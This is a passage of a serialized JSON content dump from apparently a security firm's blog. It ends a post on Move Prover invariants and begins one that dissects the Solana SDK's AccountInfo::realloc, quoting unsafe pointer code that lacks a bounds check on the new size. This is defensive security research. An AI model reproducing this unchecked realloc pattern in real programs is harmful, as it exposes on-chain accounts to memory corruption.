:12027},{"type":22,"tag":101,"props":17429,"children":17430},{"style":120},[17431],{"type":27,"value":994},{"type":22,"tag":101,"props":17433,"children":17434},{"class":103,"line":367},[17435,17439,17443,17447],{"type":22,"tag":101,"props":17436,"children":17437},{"style":926},[17438],{"type":27,"value":12127},{"type":22,"tag":101,"props":17440,"children":17441},{"style":120},[17442],{"type":27,"value":980},{"type":22,"tag":101,"props":17444,"children":17445},{"style":126},[17446],{"type":27,"value":12136},{"type":22,"tag":101,"props":17448,"children":17449},{"style":120},[17450],{"type":27,"value":2510},{"type":22,"tag":101,"props":17452,"children":17453},{"class":103,"line":398},[17454],{"type":22,"tag":101,"props":17455,"children":17456},{"style":120},[17457],{"type":27,"value":9908},{"type":22,"tag":101,"props":17459,"children":17460},{"class":103,"line":428},[17461,17465,17469],{"type":22,"tag":101,"props":17462,"children":17463},{"style":126},[17464],{"type":27,"value":12155},{"type":22,"tag":101,"props":17466,"children":17467},{"style":126},[17468],{"type":27,"value":12001},{"type":22,"tag":101,"props":17470,"children":17471},{"style":120},[17472],{"type":27,"value":154},{"type":22,"tag":101,"props":17474,"children":17475},{"class":103,"line":997},[17476,17480,17484,17488,17492],{"type":22,"tag":101,"props":17477,"children":17478},{"style":126},[17479],{"type":27,"value":12171},{"type":22,"tag":101,"props":17481,"children":17482},{"style":126},[17483],{"type":27,"value":12176},{"type":22,"tag":101,"props":17485,"children":17486},{"style":166},[17487],{"type":27,"value":1511},{"type":22,"tag":101,"props":17489,"children":17490},{"style":108},[17491],{"type":27,"value":5644},{"type":22,"tag":101,"props":17493,"children":17494},{"style":120},[17495],{"type":27,"value":1520},{"type":22,"tag":101,"props":17497,"children":17498},{"class":103,"line":1032},[17499,17503,17507,17511,17515],{"type":22,"tag":101,"props":17500,"children":17501},{"style":126},[17502],{"type":27,"value":12196},{"type":22,"tag":101,"props":17504,"children":17505},{"style":126},[17506],{"type":27,"value":12201},{"type":22,"tag":101,"props":17508,"children":17509},{"style":166},[17510],{"type":27,"value":12206},{"type":22,"tag":101,"props":17512,"children":17513},{"style":126},[17514],{"type":27,"value":12211},{"type":22,"tag":101,"props":17516,"children":17517},{"style":120},[17518],{"type":27,"value":1520},{"type":22,"tag":101,"props":17520,"children":17521},{"class":103,"line":1063},[17522,17526,17530,17534,17538],{"type":22,"tag":101,"props":17523,"children":17524},{"style":126},[17525],{"type":27,"value":12196},{"type":22,"tag":101,"props":17527,"children":17528},{"style":126},[17529],{"type":27,"value":12227},{"type":22,"tag":101,"props":17531,"children":17532},{"style":166},[17533],{"type":27,"value":12206},{"type":22,"tag":101,"props":17535,"children":17536},{"style":126},[17537],{"type":27,"value":12236},{"type":22,"tag":101,"props":17539,"children":17540},{"style":120},[17541],{"type":27,"value":1520},{"type":22,"tag":101,"props":17543,"children":17544},{"class":103,"line":1071},[17545],{"type":22,"tag":101,"props":17546,"children":17547},{"style":120},[17548],{"type":27,"value":9908},{"type":22,"tag":23,"props":17550,"children":17551},{},[17552],{"type":27,"value":17553},"Some other ideas include",{"type":22,"tag":6828,"props":17555,"children":17556},{},[17557,17562,17567],{"type":22,"tag":6832,"props":17558,"children":17559},{},[17560],{"type":27,"value":17561},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":22,"tag":6832,"props":17563,"children":17564},{},[17565],{"type":27,"value":17566},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":22,"tag":6832,"props":17568,"children":17569},{},[17570],{"type":27,"value":17571},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":22,"tag":53,"props":17573,"children":17574},{"id":9355},[17575],{"type":27,"value":9358},{"type":22,"tag":23,"props":17577,"children":17578},{},[17579],{"type":27,"value":17580},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":22,"tag":23,"props":17582,"children":17583},{},[17584],{"type":27,"value":17585},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":22,"tag":23,"props":17587,"children":17588},{},[17589,17591,17596],{"type":27,"value":17590},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":22,"tag":80,"props":17592,"children":17594},{"href":13250,"rel":17593},[84],[17595],{"type":27,"value":13254},{"type":27,"value":231},{"type":22,"tag":6891,"props":17598,"children":17599},{},[17600],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":17602},[17603,17604,17607,17614],{"id":13314,"depth":157,"text":13317},{"id":13368,"depth":157,"text":13371,"children":17605},[17606],{"id":13615,"depth":182,"text":13611},{"id":16513,"depth":157,"text":16516,"children":17608},[17609,17610,17611,17612,17613],{"id":16529,"depth":182,"text":16532},{"id":16780,"depth":182,"text":16783},{"id":17083,"depth":182,"text":17086},{"id":17120,"depth":182,"text":17123},{"id":17283,"depth":182,"text":17286},{"id":9355,"depth":157,"text":9358},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":17619,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":17620,"description":17621,"author":17622,"image":17623,"date":17627,"isFeatured":15,"onBlogPage":15,"tags":17628,"body":17629,"_type":6912,"_id":22733,"_source":6914,"_file":22734,"_stem":22735,"_extension":6917},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":17624,"height":17625,"width":17626},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[6930,13278],{"type":19,"children":17630,"toc":22717},[17631,17659,17679,18348,18368,18379,18391,18524,18534,18540,18566,18906,18951,19277,19340,19353,19426,19492,19513,19526,19540,19888,19899,19904,20035,20086,20112,20124,20297,20433,20474,20511,20577,20582,20619,20673,20684,20826,20838,20844,20850,20883,20897,21019,21038,21066,21072,21162,21253,21259,21264,21311,21580,21655,21666,21693,22025,22037,22110,22382,22419,22713],{"type":22,"tag":23,"props":17632,"children":17633},{},[17634,17636,17642,17644,17649,17651,17657],{"type":27,"value":17635},"It all started with an audit of a program that used ",{"type":22,"tag":30,"props":17637,"children":17639},{"className":17638},[],[17640],{"type":27,"value":17641},"realloc",{"type":27,"value":17643}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":22,"tag":30,"props":17645,"children":17647},{"className":17646},[],[17648],{"type":27,"value":17641},{"type":27,"value":17650}," call (from ",{"type":22,"tag":30,"props":17652,"children":17654},{"className":17653},[],[17655],{"type":27,"value":17656},"solana_program",{"type":27,"value":17658},") would error out appropriately.",{"type":22,"tag":23,"props":17660,"children":17661},{},[17662,17664,17670,17671,17678],{"type":27,"value":17663},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":22,"tag":30,"props":17665,"children":17667},{"className":17666},[],[17668],{"type":27,"value":17669},"AccountInfo::realloc",{"type":27,"value":78},{"type":22,"tag":80,"props":17672,"children":17675},{"href":17673,"rel":17674},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[84],[17676],{"type":27,"value":17677},"implemented",{"type":27,"value":169},{"type":22,"tag":91,"props":17680,"children":17682},{"className":93,"code":17681,"language":95,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[17683],{"type":22,"tag":30,"props":17684,"children":17685},{"__ignoreMap":7},[17686,17779,17813,17820,17828,17840,17848,17940,17973,17980,17988,18118,18149,18156,18163,18171,18205,18217,18266,18278,18307,18314,18321,18328,18341],{"type":22,"tag":101,"props":17687,"children":17688},{"class":103,"line":104},[17689,17694,17699,17704,17708,17712,17716,17720,17725,17729,17734,17738,17743,17747,17751,17755,17760,17765,17770,17775],{"type":22,"tag":101,"props":17690,"children":17691},{"style":108},[17692],{"type":27,"value":17693},"pub",{"type":22,"tag":101,"props":17695,"children":17696},{"style":108},[17697],{"type":27,"value":17698}," fn",{"type":22,"tag":101,"props":17700,"children":17701},{"style":926},[17702],{"type":27,"value":17703}," realloc",{"type":22,"tag":101,"props":17705,"children":17706},{"style":120},[17707],{"type":27,"value":980},{"type":22,"tag":101,"props":17709,"children":17710},{"style":166},[17711],{"type":27,"value":985},{"type":22,"tag":101,"props":17713,"children":17714},{"style":108},[17715],{"type":27,"value":4242},{"type":22,"tag":101,"props":17717,"children":17718},{"style":120},[17719],{"type":27,"value":758},{"type":22,"tag":101,"props":17721,"children":17722},{"style":126},[17723],{"type":27,"value":17724},"new_len",{"type":22,"tag":101,"props":17726,"children":17727},{"style":166},[17728],{"type":27,"value":169},{"type":22,"tag":101,"props":17730,"children":17731},{"style":114},[17732],{"type":27,"value":17733}," usize",{"type":22,"tag":101,"props":17735,"children":17736},{"style":120},[17737],{"type":27,"value":758},{"type":22,"tag":101,"props":17739,"children":17740},{"style":126},[17741],{"type":27,"value":17742},"zero_init",{"type":22,"tag":101,"props":17744,"children":17745},{"style":166},[17746],{"type":27,"value":169},{"type":22,"tag":101,"props":17748,"children":17749},{"style":114},[17750],{"type":27,"value":360},{"type":22,"tag":101,"props":17752,"children":17753},{"style":120},[17754],{"type":27,"value":901},{"type":22,"tag":101,"props":17756,"children":17757},{"style":166},[17758],{"type":27,"value":17759},"->",{"type":22,"tag":101,"props":17761,"children":17762},{"style":114},[17763],{"type":27,"value":17764}," Result",{"type":22,"tag":101,"props":17766,"children":17767},{"style":120},[17768],{"type":27,"value":17769},"\u003C(), ",{"type":22,"tag":101,"props":17771,"children":17772},{"style":114},[17773],{"type":27,"value":17774},"ProgramError",{"type":22,"tag":101,"props":17776,"children":17777},{"style":120},[17778],{"type":27,"value":2282},{"type":22,"tag":101,"props":17780,"children":17781},{"class":103,"line":157},[17782,17786,17791,17795,17800,17804,17809],{"type":22,"tag":101,"props":17783,"children":17784},{"style":108},[17785],{"type":27,"value":950},{"type":22,"tag":101,"props":17787,"children":17788},{"style":126},[17789],{"type":27,"value":17790}," orig_len",{"type":22,"tag":101,"props":17792,"children":17793},{"style":166},[17794],{"type":27,"value":960},{"type":22,"tag":101,"props":17796,"children":17797},{"style":108},[17798],{"type":27,"value":17799}," self",{"type":22,"tag":101,"props":17801,"children":17802},{"style":166},[17803],{"type":27,"value":231},{"type":22,"tag":101,"props":17805,"children":17806},{"style":926},[17807],{"type":27,"value":17808},"data_len",{"type":22,"tag":101,"props":17810,"children":17811},{"style":120},[17812],{"type":27,"value":934},{"type":22,"tag":101,"props":17814,"children":17815},{"class":103,"line":182},[17816],{"type":22,"tag":101,"props":17817,"children":17818},{"emptyLinePlaceholder":15},[17819],{"type":27,"value":1581},{"type":22,"tag":101,"props":17821,"children":17822},{"class":103,"line":367},[17823],{"type":22,"tag":101,"props":17824,"children":17825},{"style":2215},[17826],{"type":27,"value":17827}," // realloc\n",{"type":22,"tag":101,"props":17829,"children":17830},{"class":103,"line":398},[17831,17836],{"type":22,"tag":101,"props":17832,"children":17833},{"style":108},[17834],{"type":27,"value":17835}," unsafe",{"type":22,"tag":101,"props":17837,"children":17838},{"style":120},[17839],{"type":27,"value":154},{"type":22,"tag":101,"props":17841,"children":17842},{"class":103,"line":428},[17843],{"type":22,"tag":101,"props":17844,"children":17845},{"style":2215},[17846],{"type":27,"value":17847}," // First set new length in the serialized data\n",{"type":22,"tag":101,"props":17849,"children":17850},{"class":103,"line":997},[17851,17855,17860,17864,17868,17872,17877,17882,17886,17891,17895,17899,17904,17908,17912,17916,17920,17924,17928,17932,17936],{"type":22,"tag":101,"props":17852,"children":17853},{"style":108},[17854],{"type":27,"value":3746},{"type":22,"tag":101,"props":17856,"children":17857},{"style":126},[17858],{"type":27,"value":17859}," ptr",{"type":22,"tag":101,"props":17861,"children":17862},{"style":166},[17863],{"type":27,"value":960},{"type":22,"tag":101,"props":17865,"children":17866},{"style":108},[17867],{"type":27,"value":17799},{"type":22,"tag":101,"props":17869,"children":17870},{"style":166},[17871],{"type":27,"value":231},{"type":22,"tag":101,"props":17873,"children":17874},{"style":926},[17875],{"type":27,"value":17876},"try_borrow_mut_data",{"type":22,"tag":101,"props":17878,"children":17879},{"style":120},[17880],{"type":27,"value":17881},"()",{"type":22,"tag":101,"props":17883,"children":17884},{"style":166},[17885],{"type":27,"value":7173},{"type":22,"tag":101,"props":17887,"children":17888},{"style":926},[17889],{"type":27,"value":17890},"as_mut_ptr",{"type":22,"tag":101,"props":17892,"children":17893},{"style":120},[17894],{"type":27,"value":17881},{"type":22,"tag":101,"props":17896,"children":17897},{"style":166},[17898],{"type":27,"value":231},{"type":22,"tag":101,"props":17900,"children":17901},{"style":926},[17902],{"type":27,"value":17903},"offset",{"type":22,"tag":101,"props":17905,"children":17906},{"style":120},[17907],{"type":27,"value":980},{"type":22,"tag":101,"props":17909,"children":17910},{"style":166},[17911],{"type":27,"value":8372},{"type":22,"tag":101,"props":17913,"children":17914},{"style":1544},[17915],{"type":27,"value":8119},{"type":22,"tag":101,"props":17917,"children":17918},{"style":120},[17919],{"type":27,"value":901},{"type":22,"tag":101,"props":17921,"children":17922},{"style":108},[17923],{"type":27,"value":12849},{"type":22,"tag":101,"props":17925,"children":17926},{"style":166},[17927],{"type":27,"value":13822},{"type":22,"tag":101,"props":17929,"children":17930},{"style":108},[17931],{"type":27,"value":7760},{"type":22,"tag":101,"props":17933,"children":17934},{"style":114},[17935],{"type":27,"value":174},{"type":22,"tag":101,"props":17937,"children":17938},{"style":120},[17939],{"type":27,"value":1520},{"type":22,"tag":101,"props":17941,"children":17942},{"class":103,"line":1032},[17943,17947,17952,17956,17961,17965,17969],{"type":22,"tag":101,"props":17944,"children":17945},{"style":166},[17946],{"type":27,"value":11761},{"type":22,"tag":101,"props":17948,"children":17949},{"style":126},[17950],{"type":27,"value":17951},"ptr",{"type":22,"tag":101,"props":17953,"children":17954},{"style":166},[17955],{"type":27,"value":960},{"type":22,"tag":101,"props":17957,"children":17958},{"style":126},[17959],{"type":27,"value":17960}," new_len",{"type":22,"tag":101,"props":17962,"children":17963},{"style":108},[17964],{"type":27,"value":12835},{"type":22,"tag":101,"props":17966,"children":17967},{"style":114},[17968],{"type":27,"value":174},{"type":22,"tag":101,"props":17970,"children":17971},{"style":120},[17972],{"type":27,"value":1520},{"type":22,"tag":101,"props":17974,"children":17975},{"class":103,"line":1063},[17976],{"type":22,"tag":101,"props":17977,"children":17978},{"emptyLinePlaceholder":15},[17979],{"type":27,"value":1581},{"type":22,"tag":101,"props":17981,"children":17982},{"class":103,"line":1071},[17983],{"type":22,"tag":101,"props":17984,"children":17985},{"style":2215},[17986],{"type":27,"value":17987}," // Then set the new length in the local slice\n",{"type":22,"tag":101,"props":17989,"children":17990},{"class":103,"line":1110},[17991,17995,17999,18003,18007,18011,18015,18020,18024,18028,18032,18036,18041,18046,18050,18054,18058,18062,18066,18070,18074,18078,18082,18086,18090,18094,18098,18102,18106,18110,18114],{"type":22,"tag":101,"props":17992,"children":17993},{"style":108},[17994],{"type":27,"value":3746},{"type":22,"tag":101,"props":17996,"children":17997},{"style":126},[17998],{"type":27,"value":17859},{"type":22,"tag":101,"props":18000,"children":18001},{"style":166},[18002],{"type":27,"value":960},{"type":22,"tag":101,"props":18004,"children":18005},{"style":166},[18006],{"type":27,"value":870},{"type":22,"tag":101,"props":18008,"children":18009},{"style":108},[18010],{"type":27,"value":7760},{"type":22,"tag":101,"props":18012,"children":18013},{"style":166},[18014],{"type":27,"value":13822},{"type":22,"tag":101,"props":18016,"children":18017},{"style":120},[18018],{"type":27,"value":18019},"(((",{"type":22,"tag":101,"props":18021,"children":18022},{"style":108},[18023],{"type":27,"value":4242},{"type":22,"tag":101,"props":18025,"children":18026},{"style":166},[18027],{"type":27,"value":231},{"type":22,"tag":101,"props":18029,"children":18030},{"style":120},[18031],{"type":27,"value":7738},{"type":22,"tag":101,"props":18033,"children":18034},{"style":166},[18035],{"type":27,"value":231},{"type":22,"tag":101,"props":18037,"children":18038},{"style":926},[18039],{"type":27,"value":18040},"as_ptr",{"type":22,"tag":101,"props":18042,"children":18043},{"style":120},[18044],{"type":27,"value":18045},"() ",{"type":22,"tag":101,"props":18047,"children":18048},{"style":108},[18049],{"type":27,"value":12849},{"type":22,"tag":101,"props":18051,"children":18052},{"style":166},[18053],{"type":27,"value":13822},{"type":22,"tag":101,"props":18055,"children":18056},{"style":108},[18057],{"type":27,"value":13660},{"type":22,"tag":101,"props":18059,"children":18060},{"style":114},[18061],{"type":27,"value":174},{"type":22,"tag":101,"props":18063,"children":18064},{"style":120},[18065],{"type":27,"value":2261},{"type":22,"tag":101,"props":18067,"children":18068},{"style":166},[18069],{"type":27,"value":231},{"type":22,"tag":101,"props":18071,"children":18072},{"style":926},[18073],{"type":27,"value":17903},{"type":22,"tag":101,"props":18075,"children":18076},{"style":120},[18077],{"type":27,"value":980},{"type":22,"tag":101,"props":18079,"children":18080},{"style":1544},[18081],{"type":27,"value":6813},{"type":22,"tag":101,"props":18083,"children":18084},{"style":120},[18085],{"type":27,"value":901},{"type":22,"tag":101,"props":18087,"children":18088},{"style":108},[18089],{"type":27,"value":12849},{"type":22,"tag":101,"props":18091,"children":18092},{"style":114},[18093],{"type":27,"value":174},{"type":22,"tag":101,"props":18095,"children":18096},{"style":120},[18097],{"type":27,"value":901},{"type":22,"tag":101,"props":18099,"children":18100},{"style":108},[18101],{"type":27,"value":12849},{"type":22,"tag":101,"props":18103,"children":18104},{"style":166},[18105],{"type":27,"value":13822},{"type":22,"tag":101,"props":18107,"children":18108},{"style":108},[18109],{"type":27,"value":7760},{"type":22,"tag":101,"props":18111,"children":18112},{"style":114},[18113],{"type":27,"value":174},{"type":22,"tag":101,"props":18115,"children":18116},{"style":120},[18117],{"type":27,"value":994},{"type":22,"tag":101,"props":18119,"children":18120},{"class":103,"line":1118},[18121,18125,18129,18133,18137,18141,18145],{"type":22,"tag":101,"props":18122,"children":18123},{"style":166},[18124],{"type":27,"value":11761},{"type":22,"tag":101,"props":18126,"children":18127},{"style":126},[18128],{"type":27,"value":17951},{"type":22,"tag":101,"props":18130,"children":18131},{"style":166},[18132],{"type":27,"value":960},{"type":22,"tag":101,"props":18134,"children":18135},{"style":126},[18136],{"type":27,"value":17960},{"type":22,"tag":101,"props":18138,"children":18139},{"style":108},[18140],{"type":27,"value":12835},{"type":22,"tag":101,"props":18142,"children":18143},{"style":114},[18144],{"type":27,"value":174},{"type":22,"tag":101,"props":18146,"children":18147},{"style":120},[18148],{"type":27,"value":1520},{"type":22,"tag":101,"props":18150,"children":18151},{"class":103,"line":1158},[18152],{"type":22,"tag":101,"props":18153,"children":18154},{"style":120},[18155],{"type":27,"value":1734},{"type":22,"tag":101,"props":18157,"children":18158},{"class":103,"line":1166},[18159],{"type":22,"tag":101,"props":18160,"children":18161},{"emptyLinePlaceholder":15},[18162],{"type":27,"value":1581},{"type":22,"tag":101,"props":18164,"children":18165},{"class":103,"line":1215},[18166],{"type":22,"tag":101,"props":18167,"children":18168},{"style":2215},[18169],{"type":27,"value":18170}," // zero-init if requested\n",{"type":22,"tag":101,"props":18172,"children":18173},{"class":103,"line":2425},[18174,18178,18183,18188,18192,18197,18201],{"type":22,"tag":101,"props":18175,"children":18176},{"style":3595},[18177],{"type":27,"value":16283},{"type":22,"tag":101,"props":18179,"children":18180},{"style":126},[18181],{"type":27,"value":18182}," zero_init",{"type":22,"tag":101,"props":18184,"children":18185},{"style":166},[18186],{"type":27,"value":18187}," &&",{"type":22,"tag":101,"props":18189,"children":18190},{"style":126},[18191],{"type":27,"value":17960},{"type":22,"tag":101,"props":18193,"children":18194},{"style":166},[18195],{"type":27,"value":18196}," >",{"type":22,"tag":101,"props":18198,"children":18199},{"style":126},[18200],{"type":27,"value":17790},{"type":22,"tag":101,"props":18202,"children":18203},{"style":120},[18204],{"type":27,"value":154},{"type":22,"tag":101,"props":18206,"children":18207},{"class":103,"line":5417},[18208,18213],{"type":22,"tag":101,"props":18209,"children":18210},{"style":926},[18211],{"type":27,"value":18212}," sol_memset",{"type":22,"tag":101,"props":18214,"children":18215},{"style":120},[18216],{"type":27,"value":1850},{"type":22,"tag":101,"props":18218,"children":18219},{"class":103,"line":7714},[18220,18224,18228,18232,18236,18240,18244,18248,18252,18257,18261],{"type":22,"tag":101,"props":18221,"children":18222},{"style":166},[18223],{"type":27,"value":11695},{"type":22,"tag":101,"props":18225,"children":18226},{"style":108},[18227],{"type":27,"value":7760},{"type":22,"tag":101,"props":18229,"children":18230},{"style":108},[18231],{"type":27,"value":17799},{"type":22,"tag":101,"props":18233,"children":18234},{"style":166},[18235],{"type":27,"value":231},{"type":22,"tag":101,"props":18237,"children":18238},{"style":926},[18239],{"type":27,"value":17876},{"type":22,"tag":101,"props":18241,"children":18242},{"style":120},[18243],{"type":27,"value":17881},{"type":22,"tag":101,"props":18245,"children":18246},{"style":166},[18247],{"type":27,"value":5455},{"type":22,"tag":101,"props":18249,"children":18250},{"style":120},[18251],{"type":27,"value":2414},{"type":22,"tag":101,"props":18253,"children":18254},{"style":126},[18255],{"type":27,"value":18256},"orig_len",{"type":22,"tag":101,"props":18258,"children":18259},{"style":166},[18260],{"type":27,"value":7096},{"type":22,"tag":101,"props":18262,"children":18263},{"style":120},[18264],{"type":27,"value":18265},"],\n",{"type":22,"tag":101,"props":18267,"children":18268},{"class":103,"line":7723},[18269,18274],{"type":22,"tag":101,"props":18270,"children":18271},{"style":1544},[18272],{"type":27,"value":18273}," 0",{"type":22,"tag":101,"props":18275,"children":18276},{"style":120},[18277],{"type":27,"value":179},{"type":22,"tag":101,"props":18279,"children":18280},{"class":103,"line":7791},[18281,18286,18290,18295,18299,18303],{"type":22,"tag":101,"props":18282,"children":18283},{"style":126},[18284],{"type":27,"value":18285}," new_len",{"type":22,"tag":101,"props":18287,"children":18288},{"style":166},[18289],{"type":27,"value":231},{"type":22,"tag":101,"props":18291,"children":18292},{"style":926},[18293],{"type":27,"value":18294},"saturating_sub",{"type":22,"tag":101,"props":18296,"children":18297},{"style":120},[18298],{"type":27,"value":980},{"type":22,"tag":101,"props":18300,"children":18301},{"style":126},[18302],{"type":27,"value":18256},{"type":22,"tag":101,"props":18304,"children":18305},{"style":120},[18306],{"type":27,"value":1706},{"type":22,"tag":101,"props":18308,"children":18309},{"class":103,"line":7799},[18310],{"type":22,"tag":101,"props":18311,"children":18312},{"style":120},[18313],{"type":27,"value":3738},{"type":22,"tag":101,"props":18315,"children":18316},{"class":103,"line":7829},[18317],{"type":22,"tag":101,"props":18318,"children":18319},{"style":120},[18320],{"type":27,"value":1734},{"type":22,"tag":101,"props":18322,"children":18323},{"class":103,"line":7837},[18324],{"type":22,"tag":101,"props":18325,"children":18326},{"emptyLinePlaceholder":15},[18327],{"type":27,"value":1581},{"type":22,"tag":101,"props":18329,"children":18330},{"class":103,"line":7868},[18331,18336],{"type":22,"tag":101,"props":18332,"children":18333},{"style":114},[18334],{"type":27,"value":18335}," Ok",{"type":22,"tag":101,"props":18337,"children":18338},{"style":120},[18339],{"type":27,"value":18340},"(())\n",{"type":22,"tag":101,"props":18342,"children":18343},{"class":103,"line":7876},[18344],{"type":22,"tag":101,"props":18345,"children":18346},{"style":120},[18347],{"type":27,"value":188},{"type":22,"tag":23,"props":18349,"children":18350},{},[18351,18353,18359,18361,18366],{"type":27,"value":18352},"Oh. There's ",{"type":22,"tag":30,"props":18354,"children":18356},{"className":18355},[],[18357],{"type":27,"value":18358},"unsafe",{"type":27,"value":18360},". And no bounds check in sight. ",{"type":22,"tag":6961,"props":18362,"children":18363},{},[18364],{"type":27,"value":18365},"And",{"type":27,"value":18367}," pointer math. That doesn't look promising...",{"type":22,"tag":53,"props":18369,"children":18371},{"id":18370},"breaking-down-realloc",[18372,18374],{"type":27,"value":18373},"Breaking down ",{"type":22,"tag":30,"props":18375,"children":18377},{"className":18376},[],[18378],{"type":27,"value":17641},{"type":22,"tag":23,"props":18380,"children":18381},{},[18382,18384,18389],{"type":27,"value":18383},"Let's pick apart this ",{"type":22,"tag":30,"props":18385,"children":18387},{"className":18386},[],[18388],{"type":27,"value":18358},{"type":27,"value":18390}," block, since there's a lot going on here.",{"type":22,"tag":91,"props":18392,"children":18394},{"className":93,"code":18393,"language":95,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[18395],{"type":22,"tag":30,"props":18396,"children":18397},{"__ignoreMap":7},[18398,18406,18493],{"type":22,"tag":101,"props":18399,"children":18400},{"class":103,"line":104},[18401],{"type":22,"tag":101,"props":18402,"children":18403},{"style":2215},[18404],{"type":27,"value":18405},"// First set new length in the serialized data\n",{"type":22,"tag":101,"props":18407,"children":18408},{"class":103,"line":157},[18409,18413,18417,18421,18425,18429,18433,18437,18441,18445,18449,18453,18457,18461,18465,18469,18473,18477,18481,18485,18489],{"type":22,"tag":101,"props":18410,"children":18411},{"style":108},[18412],{"type":27,"value":15792},{"type":22,"tag":101,"props":18414,"children":18415},{"style":126},[18416],{"type":27,"value":17859},{"type":22,"tag":101,"props":18418,"children":18419},{"style":166},[18420],{"type":27,"value":960},{"type":22,"tag":101,"props":18422,"children":18423},{"style":108},[18424],{"type":27,"value":17799},{"type":22,"tag":101,"props":18426,"children":18427},{"style":166},[18428],{"type":27,"value":231},{"type":22,"tag":101,"props":18430,"children":18431},{"style":926},[18432],{"type":27,"value":17876},{"type":22,"tag":101,"props":18434,"children":18435},{"style":120},[18436],{"type":27,"value":17881},{"type":22,"tag":101,"props":18438,"children":18439},{"style":166},[18440],{"type":27,"value":7173},{"type":22,"tag":101,"props":18442,"children":18443},{"style":926},[18444],{"type":27,"value":17890},{"type":22,"tag":101,"props":18446,"children":18447},{"style":120},[18448],{"type":27,"value":17881},{"type":22,"tag":101,"props":18450,"children":18451},{"style":166},[18452],{"type":27,"value":231},{"type":22,"tag":101,"props":18454,"children":18455},{"style":926},[18456],{"type":27,"value":17903},{"type":22,"tag":101,"props":18458,"children":18459},{"style":120},[18460],{"type":27,"value":980},{"type":22,"tag":101,"props":18462,"children":18463},{"style":166},[18464],{"type":27,"value":8372},{"type":22,"tag":101,"props":18466,"children":18467},{"style":1544},[18468],{"type":27,"value":8119},{"type":22,"tag":101,"props":18470,"children":18471},{"style":120},[18472],{"type":27,"value":901},{"type":22,"tag":101,"props":18474,"children":18475},{"style":108},[18476],{"type":27,"value":12849},{"type":22,"tag":101,"props":18478,"children":18479},{"style":166},[18480],{"type":27,"value":13822},{"type":22,"tag":101,"props":18482,"children":18483},{"style":108},[18484],{"type":27,"value":7760},{"type":22,"tag":101,"props":18486,"children":18487},{"style":114},[18488],{"type":27,"value":174},{"type":22,"tag":101,"props":18490,"children":18491},{"style":120},[18492],{"type":27,"value":1520},{"type":22,"tag":101,"props":18494,"children":18495},{"class":103,"line":182},[18496,18500,18504,18508,18512,18516,18520],{"type":22,"tag":101,"props":18497,"children":18498},{"style":166},[18499],{"type":27,"value":8615},{"type":22,"tag":101,"props":18501,"children":18502},{"style":126},[18503],{"type":27,"value":17951},{"type":22,"tag":101,"props":18505,"children":18506},{"style":166},[18507],{"type":27,"value":960},{"type":22,"tag":101,"props":18509,"children":18510},{"style":126},[18511],{"type":27,"value":17960},{"type":22,"tag":101,"props":18513,"children":18514},{"style":108},[18515],{"type":27,"value":12835},{"type":22,"tag":101,"props":18517,"children":18518},{"style":114},[18519],{"type":27,"value":174},{"type":22,"tag":101,"props":18521,"children":18522},{"style":120},[18523],{"type":27,"value":1520},{"type":22,"tag":23,"props":18525,"children":18526},{},[18527,18532],{"type":22,"tag":30,"props":18528,"children":18530},{"className":18529},[],[18531],{"type":27,"value":17876},{"type":27,"value":18533}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":22,"tag":1760,"props":18535,"children":18537},{"id":18536},"bpf-loader-abi",[18538],{"type":27,"value":18539},"BPF Loader ABI",{"type":22,"tag":23,"props":18541,"children":18542},{},[18543,18545,18550,18552,18565],{"type":27,"value":18544},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":22,"tag":30,"props":18546,"children":18548},{"className":18547},[],[18549],{"type":27,"value":17656},{"type":27,"value":18551},"'s entrypoint code - the code that's added when you use the ",{"type":22,"tag":80,"props":18553,"children":18556},{"href":18554,"rel":18555},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[84],[18557,18563],{"type":22,"tag":30,"props":18558,"children":18560},{"className":18559},[],[18561],{"type":27,"value":18562},"entrypoint!",{"type":27,"value":18564}," macro",{"type":27,"value":169},{"type":22,"tag":91,"props":18567,"children":18569},{"className":93,"code":18568,"language":95,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) 